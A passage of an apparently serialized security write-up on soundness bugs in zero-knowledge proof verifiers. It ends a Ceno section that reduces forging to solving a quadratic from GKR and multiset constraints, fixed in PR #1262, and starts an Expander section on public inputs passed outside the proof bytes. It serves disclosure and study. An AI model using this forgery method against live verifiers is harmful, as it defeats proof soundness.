118769],{"type":28,"value":92617},{"type":23,"tag":504,"props":118771,"children":118773},{"className":118772,"style":91798},[2988],[118774],{"type":28,"value":2059},{"type":23,"tag":504,"props":118776,"children":118778},{"className":118777},[2988,28],[118779],{"type":23,"tag":504,"props":118780,"children":118782},{"className":118781},[2988],[118783],{"type":28,"value":117472},{"type":23,"tag":504,"props":118785,"children":118787},{"className":118786,"style":91798},[2988],[118788],{"type":28,"value":2059},{"type":23,"tag":504,"props":118790,"children":118792},{"className":118791},[2988,28],[118793],{"type":23,"tag":504,"props":118794,"children":118796},{"className":118795},[2988],[118797],{"type":28,"value":117491},{"type":23,"tag":504,"props":118799,"children":118801},{"className":118800},[20698],[118802],{"type":28,"value":2711},{"type":23,"tag":504,"props":118804,"children":118806},{"className":118805},[2988],[118807],{"type":28,"value":3001},{"type":23,"tag":504,"props":118809,"children":118811},{"className":118810},[20720],[118812],{"type":28,"value":14391},{"type":23,"tag":504,"props":118814,"children":118816},{"className":118815},[20698],[118817],{"type":28,"value":2711},{"type":23,"tag":504,"props":118819,"children":118821},{"className":118820},[2988],[118822],{"type":28,"value":2991},{"type":23,"tag":504,"props":118824,"children":118826},{"className":118825},[20720],[118827],{"type":28,"value":14391},{"type":28,"value":118829}," we get the following constraint:",{"type":23,"tag":24,"props":118831,"children":118832},{},[118833],{"type":23,"tag":56,"props":118834,"children":118836},{"className":118835},[2960,2961],[118837],{"type":23,"tag":504,"props":118838,"children":118840},{"className":118839},[2966],[118841],{"type":23,"tag":504,"props":118842,"children":118844},{"className":118843,"ariaHidden":2972},[2971],[118845,118924,119002,119043],{"type":23,"tag":504,"props":118846,"children":118848},{"className":118847},[2977],[118849,118854,118911,118915,118920],{"type":23,"tag":504,"props":118850,"children":118853},{"className":118851,"style":118852},[2982],"height:0.5945em;vertical-align:-0.15em;",[],{"type":23,"tag":504,"props":118855,"children":118857},{"className":118856},[2988],[118858,118863],{"type":23,"tag":504,"props":118859,"children":118861},{"className":118860},[2988,20569],[118862],{"type":28,"value":18257},{"type":23,"tag":504,"props":118864,"children":118866},{"className":118865},[3005],[118867],{"type":23,"tag":504,"props":118868,"children":118870},{"className":118869},[3010,20623],[118871,118900],{"type":23,"tag":504,"props":118872,"children":118874},{"className":118873},[3015],[118875,118895],{"type":23,"tag":504,"props":118876,"children":118878},{"className":118877,"style":91850},[3020],[118879],{"type":23,"tag":504,"props":118880,"children":118881},{"style":91854},[118882,118886],{"type":23,"tag":504,"props":118883,"children":118885},{"className":118884,"style":3030},[3029],[],{"type":23,"tag":504,"props":118887,"children":118889},{"className":118888},[3035,3036,3037,3038],[118890],{"type":23,"tag":504,"props":118891,"children":118893},{"className":118892},[2988,3038],[118894],{"type":28,"value":3001},{"type":23,"tag":504,"props":118896,"children":118898},{"className":118897},[20726],[118899],{"type":28,"value":20729},{"type":23,"tag":504,"props":118901,"children":118903},{"className":118902},[3015],[118904],{"type":23,"tag":504,"props":118905,"children":118907},{"className":118906,"style":91881},[3020],[118908],{"type":23,"tag":504,"props":118909,"children":118910},{},[],{"type":23,"tag":504,"props":118912,"children":118914},{"className":118913,"style":3070},[3069],[],{"type":23,"tag":504,"props":118916,"children":118918},{"className":118917},[3075],[118919],{"type":28,"value":110060},{"type":23,"tag":504,"props":118921,"children":118923},{"className":118922,"style":3070},[3069],[],{"type":23,"tag":504,"props":118925,"children":118927},{"className":118926},[2977],[118928,118932,118989,118993,118998],{"type":23,"tag":504,"props":118929,"children":118931},{"className":118930,"style":118852},[2982],[],{"type":23,"tag":504,"props":118933,"children":118935},{"className":118934},[2988],[118936,118941],{"type":23,"tag":504,"props":118937,"children":118939},{"className":118938},[2988,20569],[118940],{"type":28,"value":18257},{"type":23,"tag":504,"props":118942,"children":118944},{"className":118943},[3005],[118945],{"type":23,"tag":504,"props":118946,"children":118948},{"className":118947},[3010,20623],[118949,118978],{"type":23,"tag":504,"props":118950,"children":118952},{"className":118951},[3015],[118953,118973],{"type":23,"tag":504,"props":118954,"children":118956},{"className":118955,"style":91850},[3020],[118957],{"type":23,"tag":504,"props":118958,"children":118959},{"style":91854},[118960,118964],{"type":23,"tag":504,"props":118961,"children":118963},{"className":118962,"style":3030},[3029],[],{"type":23,"tag":504,"props":118965,"children":118967},{"className":118966},[3035,3036,3037,3038],[118968],{"type":23,"tag":504,"props":118969,"children":118971},{"className":118970},[2988,3038],[118972],{"type":28,"value":2991},{"type":23,"tag":504,"props":118974,"children":118976},{"className":118975},[20726],[118977],{"type":28,"value":20729},{"type":23,"tag":504,"props":118979,"children":118981},{"className":118980},[3015],[118982],{"type":23,"tag":504,"props":118983,"children":118985},{"className":118984,"style":91881},[3020],[118986],{"type":23,"tag":504,"props":118987,"children":118988},{},[],{"type":23,"tag":504,"props":118990,"children":118992},{"className":118991,"style":3070},[3069],[],{"type":23,"tag":504,"props":118994,"children":118996},{"className":118995},[3075],[118997],{"type":28,"value":110060},{"type":23,"tag":504,"props":118999,"children":119001},{"className":119000,"style":3070},[3069],[],{"type":23,"tag":504,"props":119003,"children":119005},{"className":119004},[2977],[119006,119010,119015,119025,119030,119034,119039],{"type":23,"tag":504,"props":119007,"children":119009},{"className":119008,"style":3090},[2982],[],{"type":23,"tag":504,"props":119011,"children":119013},{"className":119012},[20698],[119014],{"type":28,"value":526},{"type":23,"tag":504,"props":119016,"children":119018},{"className":119017},[2988,28],[119019],{"type":23,"tag":504,"props":119020,"children":119022},{"className":119021},[2988],[119023],{"type":28,"value":119024},"rest of product",{"type":23,"tag":504,"props":119026,"children":119028},{"className":119027},[20720],[119029],{"type":28,"value":2105},{"type":23,"tag":504,"props":119031,"children":119033},{"className":119032,"style":3167},[3069],[],{"type":23,"tag":504,"props":119035,"children":119037},{"className":119036},[3172],[119038],{"type":28,"value":601},{"type":23,"tag":504,"props":119040,"children":119042},{"className":119041,"style":3167},[3069],[],{"type":23,"tag":504,"props":119044,"children":119046},{"className":119045},[2977],[119047,119051],{"type":23,"tag":504,"props":119048,"children":119050},{"className":119049,"style":113818},[2982],[],{"type":23,"tag":504,"props":119052,"children":119054},{"className":119053},[2988,28],[119055],{"type":23,"tag":504,"props":119056,"children":119058},{"className":119057},[2988],[119059],{"type":28,"value":113829},{"type":23,"tag":24,"props":119061,"children":119062},{},[119063,119065,119218],{"type":28,"value":119064},"This is bilinear in ",{"type":23,"tag":56,"props":119066,"children":119068},{"className":119067},[2960,2961],[119069],{"type":23,"tag":504,"props":119070,"children":119072},{"className":119071},[2966],[119073],{"type":23,"tag":504,"props":119074,"children":119076},{"className":119075,"ariaHidden":2972},[2971],[119077],{"type":23,"tag":504,"props":119078,"children":119080},{"className":119079},[2977],[119081,119085,119090,119147,119152,119156,119213],{"type":23,"tag":504,"props":119082,"children":119084},{"className":119083,"style":3090},[2982],[],{"type":23,"tag":504,"props":119086,"children":119088},{"className":119087},[20698],[119089],{"type":28,"value":526},{"type":23,"tag":504,"props":119091,"children":119093},{"className":119092},[2988],[119094,119099],{"type":23,"tag":504,"props":119095,"children":119097},{"className":119096},[2988,20569],[119098],{"type":28,"value":18257},{"type":23,"tag":504,"props":119100,"children":119102},{"className":119101},[3005],[119103],{"type":23,"tag":504,"props":119104,"children":119106},{"className":119105},[3010,20623],[119107,119136],{"type":23,"tag":504,"props":119108,"children":119110},{"className":119109},[3015],[119111,119131],{"type":23,"tag":504,"props":119112,"children":119114},{"className":119113,"style":91850},[3020],[119115],{"type":23,"tag":504,"props":119116,"children":119117},{"style":91854},[119118,119122],{"type":23,"tag":504,"props":119119,"children":119121},{"className":119120,"style":3030},[3029],[],{"type":23,"tag":504,"props":119123,"children":119125},{"className":119124},[3035,3036,3037,3038],[119126],{"type":23,"tag":504,"props":119127,"children":119129},{"className":119128},[2988,3038],[119130],{"type":28,"value":3001},{"type":23,"tag":504,"props":119132,"children":119134},{"className":119133},[20726],[119135],{"type":28,"value":20729},{"type":23,"tag":504,"props":119137,"children":119139},{"className":119138},[3015],[119140],{"type":23,"tag":504,"props":119141,"children":119143},{"className":119142,"style":91881},[3020],[119144],{"type":23,"tag":504,"props":119145,"children":119146},{},[],{"type":23,"tag":504,"props":119148,"children":119150},{"className":119149},[3101],[119151],{"type":28,"value":3104},{"type":23,"tag":504,"props":119153,"children":119155},{"className":119154,"style":3108},[3069],[],{"type":23,"tag":504,"props":119157,"children":119159},{"className":119158},[2988],[119160,119165],{"type":23,"tag":504,"props":119161,"children":119163},{"className":119162},[2988,20569],[119164],{"type":28,"value":18257},{"type":23,"tag":504,"props":119166,"children":119168},{"className":119167},[3005],[119169],{"type":23,"tag":504,"props":119170,"children":119172},{"className":119171},[3010,20623],[119173,119202],{"type":23,"tag":504,"props":119174,"children":119176},{"className":119175},[3015],[119177,119197],{"type":23,"tag":504,"props":119178,"children":119180},{"className":119179,"style":91850},[3020],[119181],{"type":23,"tag":504,"props":119182,"children":119183},{"style":91854},[119184,119188],{"type":23,"tag":504,"props":119185,"children":119187},{"className":119186,"style":3030},[3029],[],{"type":23,"tag":504,"props":119189,"children":119191},{"className":119190},[3035,3036,3037,3038],[119192],{"type":23,"tag":504,"props":119193,"children":119195},{"className":119194},[2988,3038],[119196],{"type":28,"value":2991},{"type":23,"tag":504,"props":119198,"children":119200},{"className":119199},[20726],[119201],{"type":28,"value":20729},{"type":23,"tag":504,"props":119203,"children":119205},{"className":119204},[3015],[119206],{"type":23,"tag":504,"props":119207,"children":119209},{"className":119208,"style":91881},[3020],[119210],{"type":23,"tag":504,"props":119211,"children":119212},{},[],{"type":23,"tag":504,"props":119214,"children":119216},{"className":119215},[20720],[119217],{"type":28,"value":2105},{"type":28,"value":320},{"type":23,"tag":24,"props":119220,"children":119221},{},[119222,119224,119377],{"type":28,"value":119223},"We have two unknowns ",{"type":23,"tag":56,"props":119225,"children":119227},{"className":119226},[2960,2961],[119228],{"type":23,"tag":504,"props":119229,"children":119231},{"className":119230},[2966],[119232],{"type":23,"tag":504,"props":119233,"children":119235},{"className":119234,"ariaHidden":2972},[2971],[119236],{"type":23,"tag":504,"props":119237,"children":119239},{"className":119238},[2977],[119240,119244,119249,119306,119311,119315,119372],{"type":23,"tag":504,"props":119241,"children":119243},{"className":119242,"style":3090},[2982],[],{"type":23,"tag":504,"props":119245,"children":119247},{"className":119246},[20698],[119248],{"type":28,"value":526},{"type":23,"tag":504,"props":119250,"children":119252},{"className":119251},[2988],[119253,119258],{"type":23,"tag":504,"props":119254,"children":119256},{"className":119255},[2988,20569],[119257],{"type":28,"value":18257},{"type":23,"tag":504,"props":119259,"children":119261},{"className":119260},[3005],[119262],{"type":23,"tag":504,"props":119263,"children":119265},{"className":119264},[3010,20623],[119266,119295],{"type":23,"tag":504,"props":119267,"children":119269},{"className":119268},[3015],[119270,119290],{"type":23,"tag":504,"props":119271,"children":119273},{"className":119272,"style":91850},[3020],[119274],{"type":23,"tag":504,"props":119275,"children":119276},{"style":91854},[119277,119281],{"type":23,"tag":504,"props":119278,"children":119280},{"className":119279,"style":3030},[3029],[],{"type":23,"tag":504,"props":119282,"children":119284},{"className":119283},[3035,3036,3037,3038],[119285],{"type":23,"tag":504,"props":119286,"children":119288},{"className":119287},[2988,3038],[119289],{"type":28,"value":3001},{"type":23,"tag":504,"props":119291,"children":119293},{"className":119292},[20726],[119294],{"type":28,"value":20729},{"type":23,"tag":504,"props":119296,"children":119298},{"className":119297},[3015],[119299],{"type":23,"tag":504,"props":119300,"children":119302},{"className":119301,"style":91881},[3020],[119303],{"type":23,"tag":504,"props":119304,"children":119305},{},[],{"type":23,"tag":504,"props":119307,"children":119309},{"className":119308},[3101],[119310],{"type":28,"value":3104},{"type":23,"tag":504,"props":119312,"children":119314},{"className":119313,"style":3108},[3069],[],{"type":23,"tag":504,"props":119316,"children":119318},{"className":119317},[2988],[119319,119324],{"type":23,"tag":504,"props":119320,"children":119322},{"className":119321},[2988,20569],[119323],{"type":28,"value":18257},{"type":23,"tag":504,"props":119325,"children":119327},{"className":119326},[3005],[119328],{"type":23,"tag":504,"props":119329,"children":119331},{"className":119330},[3010,20623],[119332,119361],{"type":23,"tag":504,"props":119333,"children":119335},{"className":119334},[3015],[119336,119356],{"type":23,"tag":504,"props":119337,"children":119339},{"className":119338,"style":91850},[3020],[119340],{"type":23,"tag":504,"props":119341,"children":119342},{"style":91854},[119343,119347],{"type":23,"tag":504,"props":119344,"children":119346},{"className":119345,"style":3030},[3029],[],{"type":23,"tag":504,"props":119348,"children":119350},{"className":119349},[3035,3036,3037,3038],[119351],{"type":23,"tag":504,"props":119352,"children":119354},{"className":119353},[2988,3038],[119355],{"type":28,"value":2991},{"type":23,"tag":504,"props":119357,"children":119359},{"className":119358},[20726],[119360],{"type":28,"value":20729},{"type":23,"tag":504,"props":119362,"children":119364},{"className":119363},[3015],[119365],{"type":23,"tag":504,"props":119366,"children":119368},{"className":119367,"style":91881},[3020],[119369],{"type":23,"tag":504,"props":119370,"children":119371},{},[],{"type":23,"tag":504,"props":119373,"children":119375},{"className":119374},[20720],[119376],{"type":28,"value":2105},{"type":28,"value":119378}," and two equations, one linear and one bilinear:",{"type":23,"tag":41,"props":119380,"children":119381},{},[119382,119709],{"type":23,"tag":45,"props":119383,"children":119384},{},[119385,119387],{"type":28,"value":119386},"Linear (from GKR): ",{"type":23,"tag":56,"props":119388,"children":119390},{"className":119389},[2960,2961],[119391],{"type":23,"tag":504,"props":119392,"children":119394},{"className":119393},[2966],[119395],{"type":23,"tag":504,"props":119396,"children":119398},{"className":119397,"ariaHidden":2972},[2971],[119399,119535,119670,119696],{"type":23,"tag":504,"props":119400,"children":119402},{"className":119401},[2977],[119403,119408,119465,119522,119526,119531],{"type":23,"tag":504,"props":119404,"children":119407},{"className":119405,"style":119406},[2982],"height:0.7333em;vertical-align:-0.15em;",[],{"type":23,"tag":504,"props":119409,"children":119411},{"className":119410},[2988],[119412,119417],{"type":23,"tag":504,"props":119413,"children":119415},{"className":119414},[2988,20569],[119416],{"type":28,"value":92},{"type":23,"tag":504,"props":119418,"children":119420},{"className":119419},[3005],[119421],{"type":23,"tag":504,"props":119422,"children":119424},{"className":119423},[3010,20623],[119425,119454],{"type":23,"tag":504,"props":119426,"children":119428},{"className":119427},[3015],[119429,119449],{"type":23,"tag":504,"props":119430,"children":119432},{"className":119431,"style":91850},[3020],[119433],{"type":23,"tag":504,"props":119434,"children":119435},{"style":91854},[119436,119440],{"type":23,"tag":504,"props":119437,"children":119439},{"className":119438,"style":3030},[3029],[],{"type":23,"tag":504,"props":119441,"children":119443},{"className":119442},[3035,3036,3037,3038],[119444],{"type":23,"tag":504,"props":119445,"children":119447},{"className":119446},[2988,3038],[119448],{"type":28,"value":3001},{"type":23,"tag":504,"props":119450,"children":119452},{"className":119451},[20726],[119453],{"type":28,"value":20729},{"type":23,"tag":504,"props":119455,"children":119457},{"className":119456},[3015],[119458],{"type":23,"tag":504,"props":119459,"children":119461},{"className":119460,"style":91881},[3020],[119462],{"type":23,"tag":504,"props":119463,"children":119464},{},[],{"type":23,"tag":504,"props":119466,"children":119468},{"className":119467},[2988],[119469,119474],{"type":23,"tag":504,"props":119470,"children":119472},{"className":119471},[2988,20569],[119473],{"type":28,"value":18257},{"type":23,"tag":504,"props":119475,"children":119477},{"className":119476},[3005],[119478],{"type":23,"tag":504,"props":119479,"children":119481},{"className":119480},[3010,20623],[119482,119511],{"type":23,"tag":504,"props":119483,"children":119485},{"className":119484},[3015],[119486,119506],{"type":23,"tag":504,"props":119487,"children":119489},{"className":119488,"style":91850},[3020],[119490],{"type":23,"tag":504,"props":119491,"children":119492},{"style":91854},[119493,119497],{"type":23,"tag":504,"props":119494,"children":119496},{"className":119495,"style":3030},[3029],[],{"type":23,"tag":504,"props":119498,"children":119500},{"className":119499},[3035,3036,3037,3038],[119501],{"type":23,"tag":504,"props":119502,"children":119504},{"className":119503},[2988,3038],[119505],{"type":28,"value":3001},{"type":23,"tag":504,"props":119507,"children":119509},{"className":119508},[20726],[119510],{"type":28,"value":20729},{"type":23,"tag":504,"props":119512,"children":119514},{"className":119513},[3015],[119515],{"type":23,"tag":504,"props":119516,"children":119518},{"className":119517,"style":91881},[3020],[119519],{"type":23,"tag":504,"props":119520,"children":119521},{},[],{"type":23,"tag":504,"props":119523,"children":119525},{"className":119524,"style":3070},[3069],[],{"type":23,"tag":504,"props":119527,"children":119529},{"className":119528},[3075],[119530],{"type":28,"value":1642},{"type":23,"tag":504,"props":119532,"children":119534},{"className":119533,"style":3070},[3069],[],{"type":23,"tag":504,"props":119536,"children":119538},{"className":119537},[2977],[119539,119543,119600,119657,119661,119666],{"type":23,"tag":504,"props":119540,"children":119542},{"className":119541,"style":119406},[2982],[],{"type":23,"tag":504,"props":119544,"children":119546},{"className":119545},[2988],[119547,119552],{"type":23,"tag":504,"props":119548,"children":119550},{"className":119549},[2988,20569],[119551],{"type":28,"value":92},{"type":23,"tag":504,"props":119553,"children":119555},{"className":119554},[3005],[119556],{"type":23,"tag":504,"props":119557,"children":119559},{"className":119558},[3010,20623],[119560,119589],{"type":23,"tag":504,"props":119561,"children":119563},{"className":119562},[3015],[119564,119584],{"type":23,"tag":504,"props":119565,"children":119567},{"className":119566,"style":91850},[3020],[119568],{"type":23,"tag":504,"props":119569,"children":119570},{"style":91854},[119571,119575],{"type":23,"tag":504,"props":119572,"children":119574},{"className":119573,"style":3030},[3029],[],{"type":23,"tag":504,"props":119576,"children":119578},{"className":119577},[3035,3036,3037,3038],[119579],{"type":23,"tag":504,"props":119580,"children":119582},{"className":119581},[2988,3038],[119583],{"type":28,"value":2991},{"type":23,"tag":504,"props":119585,"children":119587},{"className":119586},[20726],[119588],{"type":28,"value":20729},{"type":23,"tag":504,"props":119590,"children":119592},{"className":119591},[3015],[119593],{"type":23,"tag":504,"props":119594,"children":119596},{"className":119595,"style":91881},[3020],[119597],{"type":23,"tag":504,"props":119598,"children":119599},{},[],{"type":23,"tag":504,"props":119601,"children":119603},{"className":119602},[2988],[119604,119609],{"type":23,"tag":504,"props":119605,"children":119607},{"className":119606},[2988,20569],[119608],{"type":28,"value":18257},{"type":23,"tag":504,"props":119610,"children":119612},{"className":119611},[3005],[119613],{"type":23,"tag":504,"props":119614,"children":119616},{"className":119615},[3010,20623],[119617,119646],{"type":23,"tag":504,"props":119618,"children":119620},{"className":119619},[3015],[119621,119641],{"type":23,"tag":504,"props":119622,"children":119624},{"className":119623,"style":91850},[3020],[119625],{"type":23,"tag":504,"props":119626,"children":119627},{"style":91854},[119628,119632],{"type":23,"tag":504,"props":119629,"children":119631},{"className":119630,"style":3030},[3029],[],{"type":23,"tag":504,"props":119633,"children":119635},{"className":119634},[3035,3036,3037,3038],[119636],{"type":23,"tag":504,"props":119637,"children":119639},{"className":119638},[2988,3038],[119640],{"type":28,"value":2991},{"type":23,"tag":504,"props":119642,"children":119644},{"className":119643},[20726],[119645],{"type":28,"value":20729},{"type":23,"tag":504,"props":119647,"children":119649},{"className":119648},[3015],[119650],{"type":23,"tag":504,"props":119651,"children":119653},{"className":119652,"style":91881},[3020],[119654],{"type":23,"tag":504,"props":119655,"children":119656},{},[],{"type":23,"tag":504,"props":119658,"children":119660},{"className":119659,"style":3070},[3069],[],{"type":23,"tag":504,"props":119662,"children":119664},{"className":119663},[3075],[119665],{"type":28,"value":1642},{"type":23,"tag":504,"props":119667,"children":119669},{"className":119668,"style":3070},[3069],[],{"type":23,"tag":504,"props":119671,"children":119673},{"className":119672},[2977],[119674,119678,119683,119687,119692],{"type":23,"tag":504,"props":119675,"children":119677},{"className":119676,"style":109639},[2982],[],{"type":23,"tag":504,"props":119679,"children":119681},{"className":119680},[2988,20569],[119682],{"type":28,"value":2124},{"type":23,"tag":504,"props":119684,"children":119686},{"className":119685,"style":3167},[3069],[],{"type":23,"tag":504,"props":119688,"children":119690},{"className":119689},[3172],[119691],{"type":28,"value":601},{"type":23,"tag":504,"props":119693,"children":119695},{"className":119694,"style":3167},[3069],[],{"type":23,"tag":504,"props":119697,"children":119699},{"className":119698},[2977],[119700,119704],{"type":23,"tag":504,"props":119701,"children":119703},{"className":119702,"style":92829},[2982],[],{"type":23,"tag":504,"props":119705,"children":119707},{"className":119706},[2988],[119708],{"type":28,"value":3001},{"type":23,"tag":45,"props":119710,"children":119711},{},[119712,119714],{"type":28,"value":119713},"Bilinear (from multiset): ",{"type":23,"tag":56,"props":119715,"children":119717},{"className":119716},[2960,2961],[119718],{"type":23,"tag":504,"props":119719,"children":119721},{"className":119720},[2966],[119722],{"type":23,"tag":504,"props":119723,"children":119725},{"className":119724,"ariaHidden":2972},[2971],[119726,119752,119830,119908,119934],{"type":23,"tag":504,"props":119727,"children":119729},{"className":119728},[2977],[119730,119734,119739,119743,119748],{"type":23,"tag":504,"props":119731,"children":119733},{"className":119732,"style":91713},[2982],[],{"type":23,"tag":504,"props":119735,"children":119737},{"className":119736,"style":93227},[2988,20569],[119738],{"type":28,"value":87435},{"type":23,"tag":504,"props":119740,"children":119742},{"className":119741,"style":3070},[3069],[],{"type":23,"tag":504,"props":119744,"children":119746},{"className":119745},[3075],[119747],{"type":28,"value":110060},{"type":23,"tag":504,"props":119749,"children":119751},{"className":119750,"style":3070},[3069],[],{"type":23,"tag":504,"props":119753,"children":119755},{"className":119754},[2977],[119756,119760,119817,119821,119826],{"type":23,"tag":504,"props":119757,"children":119759},{"className":119758,"style":118852},[2982],[],{"type":23,"tag":504,"props":119761,"children":119763},{"className":119762},[2988],[119764,119769],{"type":23,"tag":504,"props":119765,"children":119767},{"className":119766},[2988,20569],[119768],{"type":28,"value":18257},{"type":23,"tag":504,"props":119770,"children":119772},{"className":119771},[3005],[119773],{"type":23,"tag":504,"props":119774,"children":119776},{"className":119775},[3010,20623],[119777,119806],{"type":23,"tag":504,"props":119778,"children":119780},{"className":119779},[3015],[119781,119801],{"type":23,"tag":504,"props":119782,"children":119784},{"className":119783,"style":91850},[3020],[119785],{"type":23,"tag":504,"props":119786,"children":119787},{"style":91854},[119788,119792],{"type":23,"tag":504,"props":119789,"children":119791},{"className":119790,"style":3030},[3029],[],{"type":23,"tag":504,"props":119793,"children":119795},{"className":119794},[3035,3036,3037,3038],[119796],{"type":23,"tag":504,"props":119797,"children":119799},{"className":119798},[2988,3038],[119800],{"type":28,"value":3001},{"type":23,"tag":504,"props":119802,"children":119804},{"className":119803},[20726],[119805],{"type":28,"value":20729},{"type":23,"tag":504,"props":119807,"children":119809},{"className":119808},[3015],[119810],{"type":23,"tag":504,"props":119811,"children":119813},{"className":119812,"style":91881},[3020],[119814],{"type":23,"tag":504,"props":119815,"children":119816},{},[],{"type":23,"tag":504,"props":119818,"children":119820},{"className":119819,"style":3070},[3069],[],{"type":23,"tag":504,"props":119822,"children":119824},{"className":119823},[3075],[119825],{"type":28,"value":110060},{"type":23,"tag":504,"props":119827,"children":119829},{"className":119828,"style":3070},[3069],[],{"type":23,"tag":504,"props":119831,"children":119833},{"className":119832},[2977],[119834,119838,119895,119899,119904],{"type":23,"tag":504,"props":119835,"children":119837},{"className":119836,"style":119406},[2982],[],{"type":23,"tag":504,"props":119839,"children":119841},{"className":119840},[2988],[119842,119847],{"type":23,"tag":504,"props":119843,"children":119845},{"className":119844},[2988,20569],[119846],{"type":28,"value":18257},{"type":23,"tag":504,"props":119848,"children":119850},{"className":119849},[3005],[119851],{"type":23,"tag":504,"props":119852,"children":119854},{"className":119853},[3010,20623],[119855,119884],{"type":23,"tag":504,"props":119856,"children":119858},{"className":119857},[3015],[119859,119879],{"type":23,"tag":504,"props":119860,"children":119862},{"className":119861,"style":91850},[3020],[119863],{"type":23,"tag":504,"props":119864,"children":119865},{"style":91854},[119866,119870],{"type":23,"tag":504,"props":119867,"children":119869},{"className":119868,"style":3030},[3029],[],{"type":23,"tag":504,"props":119871,"children":119873},{"className":119872},[3035,3036,3037,3038],[119874],{"type":23,"tag":504,"props":119875,"children":119877},{"className":119876},[2988,3038],[119878],{"type":28,"value":2991},{"type":23,"tag":504,"props":119880,"children":119882},{"className":119881},[20726],[119883],{"type":28,"value":20729},{"type":23,"tag":504,"props":119885,"children":119887},{"className":119886},[3015],[119888],{"type":23,"tag":504,"props":119889,"children":119891},{"className":119890,"style":91881},[3020],[119892],{"type":23,"tag":504,"props":119893,"children":119894},{},[],{"type":23,"tag":504,"props":119896,"children":119898},{"className":119897,"style":3070},[3069],[],{"type":23,"tag":504,"props":119900,"children":119902},{"className":119901},[3075],[119903],{"type":28,"value":1642},{"type":23,"tag":504,"props":119905,"children":119907},{"className":119906,"style":3070},[3069],[],{"type":23,"tag":504,"props":119909,"children":119911},{"className":119910},[2977],[119912,119916,119921,119925,119930],{"type":23,"tag":504,"props":119913,"children":119915},{"className":119914,"style":91713},[2982],[],{"type":23,"tag":504,"props":119917,"children":119919},{"className":119918},[2988,20569],[119920],{"type":28,"value":1169},{"type":23,"tag":504,"props":119922,"children":119924},{"className":119923,"style":3167},[3069],[],{"type":23,"tag":504,"props":119926,"children":119928},{"className":119927},[3172],[119929],{"type":28,"value":601},{"type":23,"tag":504,"props":119931,"children":119933},{"className":119932,"style":3167},[3069],[],{"type":23,"tag":504,"props":119935,"children":119937},{"className":119936},[2977],[119938,119942],{"type":23,"tag":504,"props":119939,"children":119941},{"className":119940,"style":92829},[2982],[],{"type":23,"tag":504,"props":119943,"children":119945},{"className":119944},[2988],[119946],{"type":28,"value":3001},{"type":23,"tag":24,"props":119948,"children":119949},{},[119950],{"type":28,"value":119951},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":23,"tag":24,"props":119953,"children":119954},{},[119955,119959,119961,119968,119970,119977],{"type":23,"tag":296,"props":119956,"children":119957},{},[119958],{"type":28,"value":115508},{"type":28,"value":119960}," Fixed on March 5, 2026 via ",{"type":23,"tag":92,"props":119962,"children":119965},{"href":119963,"rel":119964},"https://github.com/scroll-tech/ceno/pull/1262",[96],[119966],{"type":28,"value":119967},"PR #1262",{"type":28,"value":119969}," (original report: ",{"type":23,"tag":92,"props":119971,"children":119974},{"href":119972,"rel":119973},"https://github.com/scroll-tech/ceno/issues/1125",[96],[119975],{"type":28,"value":119976},"#1125",{"type":28,"value":2105},{"type":23,"tag":17774,"props":119979,"children":119980},{},[],{"type":23,"tag":82,"props":119982,"children":119984},{"id":119983},"expander-polyhedra",[119985],{"type":28,"value":119986},"Expander (Polyhedra)",{"type":23,"tag":24,"props":119988,"children":119989},{},[119990],{"type":28,"value":119991},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":23,"tag":24,"props":119993,"children":119994},{},[119995],{"type":23,"tag":296,"props":119996,"children":119997},{},[119998],{"type":28,"value":114214},{"type":23,"tag":494,"props":120000,"children":120002},{"code":120001},"Proof (raw bytes, parsed in order):\n    - PCS commitment\n    - Sumcheck round polynomials (for each layer)\n    - Layer claims (claim_x, claim_y)\n    - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n    - public_input    // statement data passed separately\n    - claimed_v       // statement claim passed separately\n",[120003],{"type":23,"tag":56,"props":120004,"children":120005},{"__ignoreMap":7},[120006],{"type":28,"value":120001},{"type":23,"tag":24,"props":120008,"children":120009},{},[120010,120012,120018],{"type":28,"value":120011},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":23,"tag":56,"props":120013,"children":120015},{"className":120014},[],[120016],{"type":28,"value":120017},"eval_cst",{"type":28,"value":120019}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":23,"tag":494,"props":120021,"children":120023},{"code":120022,"language":1956,"meta":7,"className":1957,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[120024],{"type":23,"tag":56,"props":120025,"children":120026},{"__ignoreMap":7},[120027],{"type":23,"tag":504,"props":120028,"children":120029},{"class":506,"line":507},[120030,120034,120039,120044,120048,120052,120056,120060,120065,120069,120074,120079,120083,120088],{"type":23,"tag":504,"props":120031,"children":120032},{"style":529},[120033],{"type":28,"value":75383},{"type":23,"tag":504,"props":120035,"children":120036},{"style":598},[120037],{"type":28,"value":120038}," -=",{"type":23,"tag":504,"props":120040,"children":120041},{"style":1012},[120042],{"type":28,"value":120043}," GKRVerifierHelper",{"type":23,"tag":504,"props":120045,"children":120046},{"style":598},[120047],{"type":28,"value":2457},{"type":23,"tag":504,"props":120049,"children":120050},{"style":517},[120051],{"type":28,"value":120017},{"type":23,"tag":504,"props":120053,"children":120054},{"style":523},[120055],{"type":28,"value":526},{"type":23,"tag":504,"props":120057,"children":120058},{"style":598},[120059],{"type":28,"value":2086},{"type":23,"tag":504,"props":120061,"children":120062},{"style":529},[120063],{"type":28,"value":120064},"layer",{"type":23,"tag":504,"props":120066,"children":120067},{"style":598},[120068],{"type":28,"value":320},{"type":23,"tag":504,"props":120070,"children":120071},{"style":523},[120072],{"type":28,"value":120073},"const_, ",{"type":23,"tag":504,"props":120075,"children":120076},{"style":529},[120077],{"type":28,"value":120078},"public_input",{"type":23,"tag":504,"props":120080,"children":120081},{"style":523},[120082],{"type":28,"value":576},{"type":23,"tag":504,"props":120084,"children":120085},{"style":529},[120086],{"type":28,"value":120087},"sp",{"type":23,"tag":504,"props":120089,"children":120090},{"style":523},[120091],{"type":28,"value":630},{"type":23,"tag":24,"props":120093,"children":120094},{},[120095,120097,120102],{"type":28,"value":120096},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":23,"tag":56,"props":120098,"children":120100},{"className":120099},[],[120101],{"type":28,"value":120087},{"type":28,"value":270},{"type":23,"tag":24,"props":120104,"children":120105},{},[120106],{"type":23,"tag":296,"props":120107,"children":120108},{},[120109],{"type":28,"value":120110},"The 